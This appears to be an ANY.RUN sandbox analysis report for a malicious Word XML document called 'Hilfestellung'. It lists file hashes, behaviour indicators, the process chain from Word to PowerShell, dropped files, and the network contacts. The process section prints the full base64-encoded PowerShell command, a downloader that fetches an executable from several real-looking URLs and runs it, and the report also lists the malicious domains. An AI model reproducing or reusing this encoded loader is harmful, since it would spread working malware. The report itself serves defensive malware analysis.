analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
download:

Hilfestellung

Full analysis: https://app.any.run/tasks/5f3ae259-702f-47c7-a4b0-262853635e58
Verdict: Malicious activity
Analysis date: February 11, 2019, 10:46:27
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: text/xml
File info: XML 1.0 document, ASCII text, with very long lines, with CRLF line terminators
MD5:

37E69849C4E217F65D8F72440BFA3888

SHA1:

4F91FDB5A2A42CEA9AEE823788E19F1B9B063EBF

SHA256:

BF5303B663CAEE6F75ADB0CDFCBE16408842AEBCD440BD808F27D7CAB46965B3

SSDEEP:

6144:zBV3mPHiO7h2eHmDGv0vxuIMzSVIhl9EKRDqME4yanMjdn/NQVg+D3Do8oRtxQwH:SfiO70FDG8vxuI8SVIf51E4K14o8IuC

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Executes PowerShell scripts

      • WINWORD.EXE (PID: 2744)
    • Unusual execution from Microsoft Office

      • WINWORD.EXE (PID: 2744)
  • SUSPICIOUS

    • Starts Microsoft Office Application

      • MSOXMLED.EXE (PID: 2932)
    • Creates files in the user directory

      • POwershell.exe (PID: 4048)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2744)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2744)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xml | Microsoft Office XML Flat File Format Word Document (ASCII) (65.1)
.xml | Microsoft Office XML Flat File Format (ASCII) (31)
.xml | Generic XML (ASCII) (2.3)
.html | HyperText Markup Language (1.4)

EXIF

XMP

WordDocumentBodySectSectPrDocGridLine-pitch: 360
WordDocumentBodySectSectPrColsSpace: 720
WordDocumentBodySectSectPrPgMarGutter: -
WordDocumentBodySectSectPrPgMarFooter: 720
WordDocumentBodySectSectPrPgMarHeader: 720
WordDocumentBodySectSectPrPgMarLeft: 1440
WordDocumentBodySectSectPrPgMarBottom: 1440
WordDocumentBodySectSectPrPgMarRight: 1440
WordDocumentBodySectSectPrPgMarTop: 1440
WordDocumentBodySectSectPrPgSzH: 15840
WordDocumentBodySectSectPrPgSzW: 12240
WordDocumentBodySectSectPrRsidR: 005E6EE1
WordDocumentBodySectPRPictShapeImagedataTitle: -
WordDocumentBodySectPRPictShapeImagedataSrc: wordml://SFR1zh.OCS60j.FADw9io
WordDocumentBodySectPRPictShapeStyle: width:468pt;height:349.5pt;visibility:visible;mso-wrap-style:square
WordDocumentBodySectPRPictShapeType: #_x0000_t75
WordDocumentBodySectPRPictShapeSpid: _x0000_i1025
WordDocumentBodySectPRPictShapeId: Picture 1
WordDocumentBodySectPRPictBinData: (Binary data 366950 bytes, use -b option to extract)
WordDocumentBodySectPRPictBinDataName: wordml://SFR1zh.OCS60j.FADw9io
WordDocumentBodySectPRPictShapetypeLockAspectratio: t
WordDocumentBodySectPRPictShapetypeLockExt: edit
WordDocumentBodySectPRPictShapetypePathConnecttype: rect
WordDocumentBodySectPRPictShapetypePathGradientshapeok: t
WordDocumentBodySectPRPictShapetypePathExtrusionok: f
WordDocumentBodySectPRPictShapetypeFormulasFEqn: if lineDrawn pixelLineWidth 0
WordDocumentBodySectPRPictShapetypeStrokeJoinstyle: miter
WordDocumentBodySectPRPictShapetypeStroked: f
WordDocumentBodySectPRPictShapetypeFilled: f
WordDocumentBodySectPRPictShapetypePath: m@4@5l@4@11@9@11@9@5xe
WordDocumentBodySectPRPictShapetypePreferrelative: t
WordDocumentBodySectPRPictShapetypeSpt: 75
WordDocumentBodySectPRPictShapetypeCoordsize: 21600,21600
WordDocumentBodySectPRPictShapetypeId: _x0000_t75
WordDocumentBodySectPRRPrNoProof: -
WordDocumentBodySectPRRsidRPr: 005D7FC8
WordDocumentBodySectPRsidRDefault: 002716AD
WordDocumentBodySectPRsidR: 005E6EE1
WordDocumentDocPrRsidsRsidVal: 002716AD
WordDocumentDocPrRsidsRsidRootVal: 005E6EE1
WordDocumentDocPrCompatDontGrowAutofit: -
WordDocumentDocPrCompatUseAsianBreakRules: -
WordDocumentDocPrCompatWrapTextWithPunct: -
WordDocumentDocPrCompatSnapToGridInCell: -
WordDocumentDocPrCompatBreakWrappedTables: -
WordDocumentDocPrAlwaysShowPlaceholderTextVal: off
WordDocumentDocPrIgnoreMixedContentVal: off
WordDocumentDocPrSaveInvalidXMLVal: off
WordDocumentDocPrValidateAgainstSchema: -
WordDocumentDocPrPixelsPerInchVal: 120
WordDocumentDocPrOptimizeForBrowser: -
WordDocumentDocPrCharacterSpacingControlVal: DontCompress
WordDocumentDocPrPunctuationKerning: -
WordDocumentDocPrDefaultTabStopVal: 720
WordDocumentDocPrDoNotEmbedSystemFonts: -
WordDocumentDocPrRemovePersonalInformation: -
WordDocumentDocPrZoomPercent: 100
WordDocumentDocPrViewVal: print
WordDocumentShapeDefaultsShapelayoutIdmapData: 1
WordDocumentShapeDefaultsShapelayoutIdmapExt: edit
WordDocumentShapeDefaultsShapelayoutExt: edit
WordDocumentShapeDefaultsShapedefaultsSpidmax: 1026
WordDocumentShapeDefaultsShapedefaultsExt: edit
WordDocumentDocSuppDataBinData: (Binary data 84578 bytes, use -b option to extract)
WordDocumentDocSuppDataBinDataName: lDMVM8
WordDocumentStylesStyleRPrRFontsCs: Tahoma
WordDocumentStylesStyleRPrRFontsH-ansi: Tahoma
WordDocumentStylesStyleRPrRFontsAscii: Tahoma
WordDocumentStylesStyleRsidVal: 005A24B1
WordDocumentStylesStyleLinkVal: BalloonTextChar
WordDocumentStylesStyleBasedOnVal: Normal
WordDocumentStylesStyleTblPrTblCellMarRightType: dxa
WordDocumentStylesStyleTblPrTblCellMarRightW: 108
WordDocumentStylesStyleTblPrTblCellMarBottomType: dxa
WordDocumentStylesStyleTblPrTblCellMarBottomW: -
WordDocumentStylesStyleTblPrTblCellMarLeftType: dxa
WordDocumentStylesStyleTblPrTblCellMarLeftW: 108
WordDocumentStylesStyleTblPrTblCellMarTopType: dxa
WordDocumentStylesStyleTblPrTblCellMarTopW: -
WordDocumentStylesStyleTblPrTblIndType: dxa
WordDocumentStylesStyleTblPrTblIndW: -
WordDocumentStylesStyleUiNameVal: Table Normal
WordDocumentStylesStyleRPrLangBidi: AR-SA
WordDocumentStylesStyleRPrLangFareast: EN-US
WordDocumentStylesStyleRPrLangVal: EN-US
WordDocumentStylesStyleRPrSz-csVal: 22
WordDocumentStylesStyleRPrSzVal: 22
WordDocumentStylesStyleRPrFontVal: Calibri
WordDocumentStylesStylePPrSpacingLine-rule: auto
WordDocumentStylesStylePPrSpacingLine: 259
WordDocumentStylesStylePPrSpacingAfter: 160
WordDocumentStylesStyleNameVal: Normal
WordDocumentStylesStyleStyleId: Normal
WordDocumentStylesStyleDefault: on
WordDocumentStylesStyleType: paragraph
WordDocumentStylesLatentStylesLsdExceptionName: Normal
WordDocumentStylesLatentStylesLatentStyleCount: 375
WordDocumentStylesLatentStylesDefLockedState: off
WordDocumentStylesVersionOfBuiltInStylenamesVal: 7
WordDocumentFontsFontSigCsb-1: 00000000
WordDocumentFontsFontSigCsb-0: 000001FF
WordDocumentFontsFontSigUsb-3: 00000000
WordDocumentFontsFontSigUsb-2: 00000009
WordDocumentFontsFontSigUsb-1: C0007841
WordDocumentFontsFontSigUsb-0: E0002AFF
WordDocumentFontsFontPitchVal: variable
WordDocumentFontsFontFamilyVal: Roman
WordDocumentFontsFontCharsetVal: 00
WordDocumentFontsFontPanose-1Val: 02020603050405020304
WordDocumentFontsFontName: Times New Roman
WordDocumentFontsDefaultFontsCs: Times New Roman
WordDocumentFontsDefaultFontsH-ansi: Calibri
WordDocumentFontsDefaultFontsFareast: Calibri
WordDocumentFontsDefaultFontsAscii: Calibri
WordDocumentDocumentPropertiesVersion: 16
WordDocumentDocumentPropertiesCharactersWithSpaces: 1
WordDocumentDocumentPropertiesParagraphs: 1
WordDocumentDocumentPropertiesLines: 1
WordDocumentDocumentPropertiesCharacters: 1
WordDocumentDocumentPropertiesWords: -
WordDocumentDocumentPropertiesPages: 1
WordDocumentDocumentPropertiesLastSaved: 2019:02:11 08:13:00Z
WordDocumentDocumentPropertiesCreated: 2019:02:11 08:13:00Z
WordDocumentDocumentPropertiesTotalTime: -
WordDocumentDocumentPropertiesRevision: 1
WordDocumentIgnoreSubtreeVal: http://schemas.microsoft.com/office/word/2003/wordml/sp2
WordDocumentOcxPresent: no
WordDocumentEmbeddedObjPresent: no
WordDocumentMacrosPresent: yes
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
34
Monitored processes
3
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start msoxmled.exe no specs winword.exe no specs powershell.exe

Process information

PID
CMD
Path
Indicators
Parent process
2932"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXE" /verb open "C:\Users\admin\AppData\Local\Temp\Hilfestellung.xml"C:\Program Files\Common Files\Microsoft Shared\OFFICE14\MSOXMLED.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
XML Editor
Exit code:
0
Version:
14.0.4750.1000
2744"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\Hilfestellung.xml"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEMSOXMLED.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
4048POwershell -e JABMAEgAcwB6AFIAUgBBAD0AKAAnAHAAJwArACcAVABsAEIAbAAnACsAJwA3AFUAJwApADsAJABxAFAASwBDAGMAcgA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB6ADIAaABNADAAZABSAGgAPQAoACcAaAB0ACcAKwAnAHQAcAA6AC8ALwBtAGEAcwBrAC4AcwB0ACcAKwAnAHUAZAAnACsAJwBpACcAKwAnAG8AJwArACcALwBZACcAKwAnAGUAawBBADIAOAAyAHYAcgBYAHIAZABoACcAKwAnAFUAQABoACcAKwAnAHQAJwArACcAdABwACcAKwAnADoALwAvAGYAZQBuACcAKwAnAGkAYwBoAGsAYQAuAHIAdQAvAGcAeABiAFEANwAnACsAJwBlAE8AJwArACcAdQAnACsAJwBuAGYAJwArACcAZgAnACsAJwBKAEAAaAAnACsAJwB0AHQAcAA6ACcAKwAnAC8AJwArACcALwAnACsAJwAyACcAKwAnADAANgAnACsAJwAuACcAKwAnADEAJwArACcAOAAnACsAJwA5AC4ANgAnACsAJwA4AC4AJwArACcAMQA4ADQAJwArACcALwA4AG4AUQB5AGoAOABpAGYASwBtAFkAJwArACcAYwBAAGgAdAAnACsAJwB0AHAAOgAvAC8AdABoACcAKwAnAGEAbABlAHMALQAnACsAJwBsAGEAcwAuACcAKwAnAGMAZgBkACcAKwAnAHQALQAnACsAJwBmAGcAJwArACcAbQBtAC4AZgAnACsAJwByACcAKwAnAC8AYwBnAGkALQBiACcAKwAnAGkAbgAnACsAJwAvAG0AYQBHAFIAQQA4AGkAWQBnACcAKwAnAEQAJwArACcAQwAnACsAJwBQAE0AJwArACcARwBAAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AcAByAG8AJwArACcAcwBwACcAKwAnAGUAcgBpAHQAeQAtAHMAdAB1AGQAZQBuAHQALgBjAG8ALgAnACsAJwB1AGsAJwArACcALwAnACsAJwBtAGwAJwArACcAMgBOAFEAZgBmAG8ATQBtAHkASgAnACsAJwBzADYAJwArACcASgAnACkALgBTAHAAbABpAHQAKAAnAEAAJwApADsAJABkAFEASwA0AEcASwA1AEIAPQAoACcAQQAnACsAJwB6ACcAKwAnAGQAMQBIAHIAVgA5ACcAKQA7ACQAYwBQADMAawBQAG4ASAAzACAAPQAgACgAJwA0ADIAJwArACcAMgAnACkAOwAkAHoAcwAwAE8AUgBqADgAPQAoACcAaAAnACsAJwA1AGgAJwArACcAYgBUAHoAJwApADsAJABmADMAUgBzAHIAbwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwBQADMAawBQAG4ASAAzACsAKAAnAC4AZQB4ACcAKwAnAGUAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAWQBsAHQATgBPAGkAIABpAG4AIAAkAHoAMgBoAE0AMABkAFIAaAApAHsAdAByAHkAewAkAHEAUABLAEMAYwByAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFkAbAB0AE4ATwBpACwAIAAkAGYAMwBSAHMAcgBvACkAOwAkAEEAaAA0AFEAbgBKAD0AKAAnAFIAZAAnACsAJwBkAFQAUQA5ADYAJwApADsASQBmACAAKAAoAEcAZQB0AC0ASQB0AGUAbQAgACQAZgAzAFIAcwByAG8AKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABmADMAUgBzAHIAbwA7ACQAZABpAEsAbwB3AG8APQAoACcAVABOAEYAJwArACcAUgBCAGoAUgBVACcAKQA7AGIAcgBlAGEAawA7AH0AfQBjAGEAdABjAGgAewB9AH0AJAB0ADQAVQBXAGkAUQBvADgAPQAoACcAdgBBAHAAMABPACcAKwAnAFcAdQAnACkAOwA= C:\Windows\System32\WindowsPowerShell\v1.0\POwershell.exe
WINWORD.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Total events
1 696
Read events
1 300
Write events
0
Delete events
0

Modification events

No data
Executable files
0
Suspicious files
2
Text files
0
Unknown types
2

Dropped files

PID
Process
Filename
Type
2744WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR5BEC.tmp.cvr
MD5:
SHA256:
2744WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DAAAEC31.FADw9io
MD5:
SHA256:
4048POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\SW7W781LKXAYO03QIGBR.temp
MD5:
SHA256:
4048POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2744WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$lfestellung.xmlpgc
MD5:CE80FA164A554CA5A323E45AE81FE445
SHA256:723655BD606EA39D398AC4DAAAB278C45E53F24704A4C093052060787530FEA4
4048POwershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF246448.TMPbinary
MD5:6073B6FC66D2E68644893344F6904E4A
SHA256:0F2F61C8DFC3A20C7A5E5133C19BA1493441440E5477254273F28F6F668E64B3
2744WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:3C9FEA2DBA38A18B7D418D051A561901
SHA256:3F2869394452F79B3A984EE9A7289D042EBFD2F2862BF8AE9089C3BA56586EF7
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
5
DNS requests
4
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
4048
POwershell.exe
GET
404
195.208.1.102:80
http://mask.studio/YekA282vrXrdhU
RU
xml
345 b
malicious
4048
POwershell.exe
GET
404
206.189.68.184:80
http://206.189.68.184/8nQyj8ifKmYc
US
xml
345 b
suspicious
4048
POwershell.exe
GET
404
77.104.133.170:80
http://prosperity-student.co.uk/ml2NQffoMmyJs6J
US
xml
345 b
unknown
4048
POwershell.exe
GET
404
81.177.135.191:80
http://fenichka.ru/gxbQ7eOunffJ
RU
xml
345 b
malicious
4048
POwershell.exe
GET
404
193.70.45.202:80
http://thales-las.cfdt-fgmm.fr/cgi-bin/maGRA8iYgDCPMG
FR
xml
345 b
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4048
POwershell.exe
195.208.1.102:80
mask.studio
Autonomous Non-commercial Organization Regional Network Information Center
RU
malicious
4048
POwershell.exe
81.177.135.191:80
fenichka.ru
JSC RTComm.RU
RU
malicious
4048
POwershell.exe
206.189.68.184:80
US
suspicious
4048
POwershell.exe
193.70.45.202:80
thales-las.cfdt-fgmm.fr
OVH SAS
FR
malicious
4048
POwershell.exe
77.104.133.170:80
prosperity-student.co.uk
SoftLayer Technologies Inc.
US
unknown

DNS requests

Domain
IP
Reputation
mask.studio
  • 195.208.1.102
malicious
fenichka.ru
  • 81.177.135.191
malicious
thales-las.cfdt-fgmm.fr
  • 193.70.45.202
malicious
prosperity-student.co.uk
  • 77.104.133.170
unknown

Threats

No threats detected
No debug info